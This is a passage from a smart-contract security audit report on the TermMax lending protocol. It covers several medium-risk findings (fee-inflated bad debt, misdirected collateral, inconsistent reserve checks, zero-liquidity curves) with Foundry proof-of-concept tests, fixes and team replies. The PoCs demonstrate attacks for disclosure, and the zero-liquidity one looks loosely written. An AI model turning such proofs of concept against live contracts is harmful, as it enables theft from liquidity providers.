    emit RedeemOrder(msg.sender, order, ftReserve.toUint128(), totalRedeem.toUint128());

    delete _orderMapping[order];
    _supplyQueue.remove(_supplyQueue.indexOf(order));
    _withdrawQueue.remove(_withdrawQueue.indexOf(order));
}
```

- `OrderManager::dealBadDebt`:

```
function dealBadDebt(address recipient, address collaretal, uint256 amount)
    external
    onlyProxy
    returns (uint256 collateralOut)
{
    _accruedInterest();
    uint256 badDebtAmt = _badDebtMapping[collaretal]; // <<<
    if (badDebtAmt == 0) revert NoBadDebt(collaretal);
    if (amount > badDebtAmt) revert InsufficientFunds(badDebtAmt, amount);
    uint256 collateralBalance = IERC20(collaretal).balanceOf(address(this));
    collateralOut = (amount * collateralBalance) / badDebtAmt; // <<<
    IERC20(collaretal).safeTransfer(recipient, collateralOut);
    _badDebtMapping[collaretal] -= amount;
    _accretingPrincipal -= amount;
    _totalFt -= amount;
}
```

Focusing on the lines marked with `// <<<`, when there is a `redeemFeeRatio` set for the market, `debtTokenAmt` will be reduced by the `feeAmt`. This `debtTokenAmt` is then returned to `_redeemFromMarket` as `totalRe-`

deem. Since `market.redeem` is passing `ftReserve` in the params, if there is a redeem fee set in the market, `totalRedeem` will always be less than `ftReserve`.

This will result in the deduction of the `debtTokenAmt` due to the collection of the redeem fee to be factored into the bad debt mapping, causing the bad debt to be inflated. Subsequently calling `dealBadDebt` will cause the collateral to be transferred to the recipient to be diluted due to `badDebtAmt` being inflated from the aforementioned issue.

Proof of Concept: This is a simple proof of concept where the curator calls `vault.redeemOrder`, and does not expect any change in the bad debt mapping. However, due to an incorrect logic, the redeem fee collected increases the bad debt in the collateral.

Edit the `redeemFeeRatio` in `testdata.json` to `"redeemFeeRatio": "1000000"`. Insert the following in `Vault.t.sol`.

```
function test_RedeemFeeContributingToBadDebt() public {
    // Set up vault
    vm.warp(currentTime + 2 days);
    buyXt(48.219178e8, 1000e8);

    vm.warp(currentTime + 3 days);
    address lper2 = vm.randomAddress();
    uint256 amount2 = 10000e8;
    res.debt.mint(lper2, amount2);
    vm.startPrank(lper2);
    res.debt.approve(address(vault), amount2);
    vault.deposit(amount2, lper2);
    vm.stopPrank();

    // Curator creates orders in market
    vm.startPrank(curator);
    address order2 = address(vault.createOrder(market2, maxCapacity, 0, orderConfig.curveCuts));
    uint256[] memory indexes = new uint256[](2);
    indexes[0] = 1;
    indexes[1] = 0;
    vault.updateSupplyQueue(indexes);
    // curator deposits debt tokens into vault
    res.debt.mint(curator, 10000e8);
    res.debt.approve(address(vault), 10000e8);
    vault.deposit(10000e8, curator);

    vm.stopPrank();

    (, IERC20 xt,,,) = market2.tokens();
    vm.warp(currentTime + 92 days);
    {
        address taker = vm.randomAddress();
        uint128 tokenAmtIn = 50e8;
        res.debt.mint(taker, tokenAmtIn);
        vm.startPrank(taker);
        res.debt.approve(address(order2), tokenAmtIn);
        ITermMaxOrder(order2).swapExactTokenToToken(res.debt, xt, taker, tokenAmtIn, 1000e8);
        vm.stopPrank();
    }
    vm.warp(currentTime + 182 days);

    // bad debt before redeeming order
    uint256 badDebtBefore = vault.badDebtMapping(address(res.collateral));

    // curator calls redeemOrder
    vm.prank(curator);
    vault.redeemOrder(ITermMaxOrder(order2));

    uint256 badDebtAfter = vault.badDebtMapping(address(res.collateral));
    // For a redeemFeeRatio of 1000000 (0.01e8), the feeAmt used during redeemOrder will be 1.005e10
    // We will check if the change in bad debt matches the feeAmt deducted in market.redeem
    assertEq(badDebtAfter - badDebtBefore, 10050000000);
}
```

Recommendation: Consider implementing checks that prevent collection of protocol fees to be added into the bad debt.

Term Structure: The redemption fee is currently designed to be zero, and we will consider removing the related logic.s

3.2.9 Collateral transfers to `msg.sender` instead of receiver in `TermMaxMarket::redeem`

Submitted by BengalCatBalu

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: Consider the function `TermMaxMarket::redeem`:

```
function redeem(uint256 ftAmount, address recipient) external virtual override nonReentrant returns (uint256) {
    return _redeem(msg.sender, recipient, ftAmount);
}

function _redeem(address caller, address recipient, uint256 ftAmount) internal returns (uint256 debtTokenAmt) {
    MarketConfig memory mConfig = _config;
    {
        uint256 liquidationDeadline =
            gt.liquidatable() ? mConfig.maturity + Constants.LIQUIDATION_WINDOW : mConfig.maturity;
        if (block.timestamp < liquidationDeadline) {
            revert CanNotRedeemBeforeFinalLiquidationDeadline(liquidationDeadline);
        }
    }

    // Burn ft reserves
    ft.burn(ft.balanceOf(address(this)));

    ft.safeTransferFrom(caller, address(this), ftAmount);

    // The proportion that user will get how many debtToken and collateral should be deliveried
    uint256 proportion = (ftAmount * Constants.DECIMAL_BASE_SQ) / ft.totalSupply();

    bytes memory deliveryData = gt.delivery(proportion, caller);
    // Transfer debtToken output
    debtTokenAmt += ((debtToken.balanceOf(address(this))) * proportion) / Constants.DECIMAL_BASE_SQ;
    uint256 feeAmt;
    if (mConfig.feeConfig.redeemFeeRatio > 0) {
        feeAmt = (debtTokenAmt * mConfig.feeConfig.redeemFeeRatio) / Constants.DECIMAL_BASE;
        debtToken.safeTransfer(mConfig.treasurer, feeAmt);
        debtTokenAmt -= feeAmt;
    }
    debtToken.safeTransfer(recipient, debtTokenAmt);
    emit Redeem(
        caller, recipient, proportion.toUint128(), debtTokenAmt.toUint128(), feeAmt.toUint128(), deliveryData
    );
}
```

We see that the function has a special parameter - `recipient`. Funds should be withdrawn to this address. Funds from the contract in this function go to two places:

- `collateral` - in the function `gt.delivery(proportion, caller)`.
- `debtToken` - in this call `debtToken.safeTransfer(recipient, debtTokenAmt);` .

The comments on the function explicitly state:

```
//// @param recipient Who will receive the underlying tokens
```

Therefore, sending a collateral to the caller address is an incorrect action from the point of view of the expected behaviour of the function.

Impact Explanation: The biggest impact of this error is if the funds sent to the caller get stuck on the contract. That is, a special smart contract will call this function, specifying a certain EOA as the recipient, but the collateral will be sent to the address of the smart contract.

If the smart contract does not have a mechanism to withdraw tokens, they will just be stuck on the smart contract.

Recomendation: Change caller to recipient.

Term Structure: We reject this proposal because specifying a receiver is a common behavior and this function can be better used to compose transactions.

3.2.10 Inconsistent FT Reserve Check Leading to Fee Payment Failures

Submitted by 0xtincion, also found by BengalCatBalu

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `TermMaxOrder` contract contains inconsistent logic for checking FT token reserves before issuing new tokens. While one check correctly verifies reserves for both output and fees, another check only verifies the output amount, creating a potential shortfall for fee payments.

Details: The contract implements two different reserve checks:

- First implementation (correct):

```
if (ftReserve < netOut + feeAmt) _issueFtToSelf(ftReserve, netOut + feeAmt, config);
```

- Second implementation (incorrect):

```
if (ftReserve < netOut) _issueFtToSelf(ftReserve, netOut + feeAmt, config);
```

The second implementation fails to account for fee amounts in its check condition while still attempting to issue tokens for both output and fees. This same issues applies to `_sellTokenForExactToken` function as well:

```
if (ftReserve < debtTokenAmtOut) _issueFtToSelf(ftReserve, debtTokenAmtOut + feeAmt, config);
```

Impact:

1. Transaction Failures: When `ftReserve` is between `netOut` and `netOut + feeAmt`, the contract will fail to issue new tokens.
2. Fee Collection Issues: Insufficient FT tokens for fee payments could disrupt protocol revenue.

Proof of Concept:

```
import {console} from "forge-std/console.sol";
import {ITermMaxMarket, TermMaxMarket, Constants, MarketEvents, MarketErrors} from
↪  "contracts/TermMaxMarket.sol";
import {ITermMaxOrder, TermMaxOrder, ISwapCallback, OrderEvents, OrderErrors} from "contracts/TermMaxOrder.sol";
import { TermMaxTestBase } from "./TermMaxTestBase.t.sol";

contract POC8 is TermMaxTestBase {

    function testPoc8() external {

        vm.prank(curator);
        address order2 = address(res.vault.createOrder(res.market, maxCapacity, 0, orderConfig.curveCuts));

        address lp = makeAddr("lp");

        uint128 amountIn = 1000 ether;

        buyFt(lp, address(res.order), amountIn, amountIn);
        buyXt(lp, address(order2), amountIn, amountIn);

        res.debt.mint(lp, amountIn * 10);

        vm.startPrank(lp);
        res.debt.approve(address(res.order), amountIn);
        res.order.swapTokenToExactToken(res.debt, res.ft, lp, amountIn, 0);
        vm.stopPrank();

        console.log("O 1 FT: ",  res.ft.balanceOf(address(res.order)));
        console.log("O 1 XT: ",  res.xt.balanceOf(address(res.order)));

        console.log("O 2 FT: ",  res.ft.balanceOf(address(order2)));
        console.log("O 2 XT: ",  res.xt.balanceOf(address(order2)));


        console.log("LP  FT: ",  res.ft.balanceOf(lp));
        console.log("LP  XT: ",  res.xt.balanceOf(lp));

        //console.log("Total FT     : ", res.vault.totalFt());
```

```
        //console.log("Total XT     : ", res.vault.totalXt());

    }

    function buyXt(address taker, address order, uint128 tokenAmtIn, uint128 xtAmtOut) internal {
        res.debt.mint(taker, tokenAmtIn);
        vm.startPrank(taker);
        res.debt.approve(order, tokenAmtIn);
        ITermMaxOrder(order).swapExactTokenToToken(res.debt, res.xt, taker, tokenAmtIn, xtAmtOut);
        vm.stopPrank();
    }

    function buyFt(address taker, address order, uint128 tokenAmtIn, uint128 ftAmtOut) internal {
        res.debt.mint(taker, tokenAmtIn);
        vm.startPrank(taker);
        res.debt.approve(order, tokenAmtIn);
        ITermMaxOrder(order).swapExactTokenToToken(res.debt, res.ft, taker, tokenAmtIn, ftAmtOut);
        vm.stopPrank();
    }


}
```

Illustration: Scenario:

- ftReserve = 100 tokens.
- netOut = 90 tokens.
- feeAmt = 20 tokens.
- Total needed = 110 tokens.

In the first implementation:

```
if (100 < 90 + 20) // true, issues new tokens
```

In the second implementation:

```
if (100 < 90) // false, doesn't issue tokens despite needing 110 total
```

Recommendation: Standardize all FT reserve checks to include both output and fee amounts:

```
if (ftReserve < netOut + feeAmt) _issueFtToSelf(ftReserve, netOut + feeAmt, config);
```

This ensures consistent token issuance behavior and reliable fee collection across all operations.

3.2.11 Unvalidated Curve Cuts Leading to Arbitrage

Submitted by Dessy06, also found by ddatachick and korok

Severity: Medium Risk

Context: TermMaxOrder.sol#L220-L272

Summary: Missing validation for liqSquare > 0 allows zero-liquidity curves.

Impact:

- Reserve Drainage: Attackers exploit zero-liquidity curves to swap negligible amounts for large reserves.
- Protocol Insolvency: Invalid curves create bad debt, threatening all liquidity providers.

Description: The `TermMaxOrder` contract's `_updateCurve` function does not validate that `liqSquare` values in curve cuts are greater than zero, allowing malicious actors to create invalid liquidity curves. This can lead to division errors, negative virtual reserves, and arbitrage opportunities that drain protocol funds.

- Affected Code:
  - Issue: Missing validation for `liqSquare > 0` in curve cuts.
  - Snippet:

```
    // Checks for offset and xtReserve order but not liqSquare > 0
    if (
        newCurveCuts.lendCurveCuts[i].offset
            != (
                (newCurveCuts.lendCurveCuts[i].xtReserve + newCurveCuts.lendCurveCuts[i - 1].offset)
                    * MathLib.sqrt(
                        (newCurveCuts.lendCurveCuts[i].liqSquare * Constants.DECIMAL_BASE_SQ)
                            / newCurveCuts.lendCurveCuts[i - 1].liqSquare //  Division by zero if
                            ↪  previous liqSquare = 0
                    )
            ) / Constants.DECIMAL_BASE - newCurveCuts.lendCurveCuts[i].xtReserve
    ) revert InvalidCurveCuts();
```

Proof of Concept:

- Scenario: Attacker creates a curve with `liqSquare = 0`, leading to invalid virtual reserves.
- Malicious Curve Setup:

```
CurveCuts memory maliciousCurve;
maliciousCurve.lendCurveCuts = [
    CurveCut({xtReserve: 0, liqSquare: 0, offset: 0}), // liqSquare = 0
    CurveCut({xtReserve: 1000, liqSquare: 0, offset: -1000}) // Offset matches formula but liqSquare = 0
];
```

- Foundry Test:

```
function testZeroLiquidityArbitrage() public {
    // Set malicious curve
    vm.prank(maker);
    order.updateOrder(maliciousCurve, 0, 0); // Accepted due to missing liqSquare validation

    // Arbitrageur swaps 1 wei of debtToken for FT
    vm.prank(attacker);
    (uint256 ftOut) = order.swapExactTokenToToken(debtToken, ft, 1, 0);

    // Verify reserves are drained (ftOut is extremely large)
    assertGt(ftOut, 1e18); //  Passes
}
```

Recommendation: Add validation to ensure `liqSquare > 0` and prevent zero/negative liquidity:

```
function _updateCurve(CurveCuts memory newCurveCuts) internal {
    // Validate lendCurveCuts
    for (uint256 i; i < newCurveCuts.lendCurveCuts.length; ++i) {
        require(newCurveCuts.lendCurveCuts[i].liqSquare > 0, "Zero liquidity"); //  New check
        if (i > 0) {
            require(newCurveCuts.lendCurveCuts[i].xtReserve > newCurveCuts.lendCurveCuts[i - 1].xtReserve,
            ↪  "Invalid order");
            // Existing offset validation...
        }
    }
    // Repeat for borrowCurveCuts
}
```

- Revised proof of concept (Post-Fix):

```
function testZeroLiquidityReverts() public {
    CurveCuts memory invalidCurve;
    invalidCurve.lendCurveCuts = [CurveCut(0, 0, 0)]; // liqSquare = 0

    vm.prank(maker);
    vm.expectRevert("Zero liquidity");
    order.updateOrder(invalidCurve, 0, 0); //  Reverts
}
```

- Result: The test reverts, confirming the fix blocks invalid curves with `liqSquare = 0`.